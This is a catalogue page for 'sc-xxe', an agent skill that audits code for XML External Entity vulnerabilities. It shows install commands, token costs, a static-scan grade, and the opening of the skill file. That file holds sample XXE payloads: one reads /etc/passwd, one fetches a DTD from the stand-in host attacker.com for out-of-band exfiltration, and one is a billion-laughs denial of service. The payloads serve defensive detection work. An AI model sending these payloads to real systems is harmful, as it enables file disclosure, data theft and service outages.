Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add ersinkoc/security-check --skill sc-xxegit clone --depth 1 https://github.com/ersinkoc/security-checkWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/ersinkoc/security-check/sc-xxe)<a href="https://agentmods.dev/skills/ersinkoc/security-check/sc-xxe"><img src="https://agentmods.dev/badge/skills/ersinkoc/security-check/sc-xxe.svg" alt="Measured on agentmods" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00018 | $0.01545 |
| Opus 5 | $0.00009 | $0.00772 |
| Sonnet 5 | $0.00004 | $0.00309 |
| Haiku 4.5 | $0.00002 | $0.00154 |
Grade A, and why
sc-xxe scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
How it starts
The opening of the file, as written. The whole thing — 181 lines — stays where its author put it; the contents beside it link to each section on GitHub.
SC: XML External Entity (XXE)
Purpose
Detects XXE vulnerabilities where XML parsers process external entity declarations, enabling file disclosure, SSRF, denial-of-service (billion laughs), and in some cases remote code execution. Covers standard XML parsers, SOAP services, SVG processing, XLSX/DOCX parsing, and RSS/Atom feed processing.
Activation
Called by sc-orchestrator during Phase 2 when XML processing is detected.
Phase 1: Discovery
File Patterns to Search
**/*.java, **/*.cs, **/*.py, **/*.php, **/*.go, **/*.ts, **/*.js,
**/*.rb, **/*xml*, **/*soap*, **/*parse*, **/*feed*, **/*svg*,
**/*xlsx*, **/*docx*, **/*rss*, **/web.xml
Keyword Patterns to Search
# Java
"SAXParserFactory", "DocumentBuilderFactory", "XMLInputFactory",
"TransformerFactory", "XMLReader", "SAXReader", "Unmarshaller",
"SchemaFactory", "XPathExpression"
# C#/.NET
"XmlDocument", "XmlReader", "XmlTextReader", "XPathDocument",
"XDocument", "XmlSerializer", "XslCompiledTransform"
# Python
"lxml.etree", "xml.etree.ElementTree", "xml.dom.minidom",
"xml.sax", "defusedxml", "xmltodict"
# PHP
"simplexml_load_string", "simplexml_load_file", "DOMDocument",
"XMLReader", "SimpleXMLElement", "libxml_disable_entity_loader"
# Go
"encoding/xml", "xml.NewDecoder", "xml.Unmarshal"
# Node.js
"xml2js", "fast-xml-parser", "xmldom", "sax", "libxmljs"
Attack Vectors
1. Classic XXE — File Disclosure:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
2. Blind XXE — Out-of-Band Data Exfiltration:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY % xxe SYSTEM "http://attacker.com/evil.dtd">
%xxe;
]>
3. Billion Laughs (DoS):
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
]>
<root>&lol3;</root>
Phase 2: Verification
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 181 lines · 18 tokens per session scan A 0378d0206284
sc-xxe is a skill published in the GitHub repository ersinkoc/security-check (56 stars, last pushed 2mo ago), licensed MIT. It adds 18 tokens to every session and 1,545 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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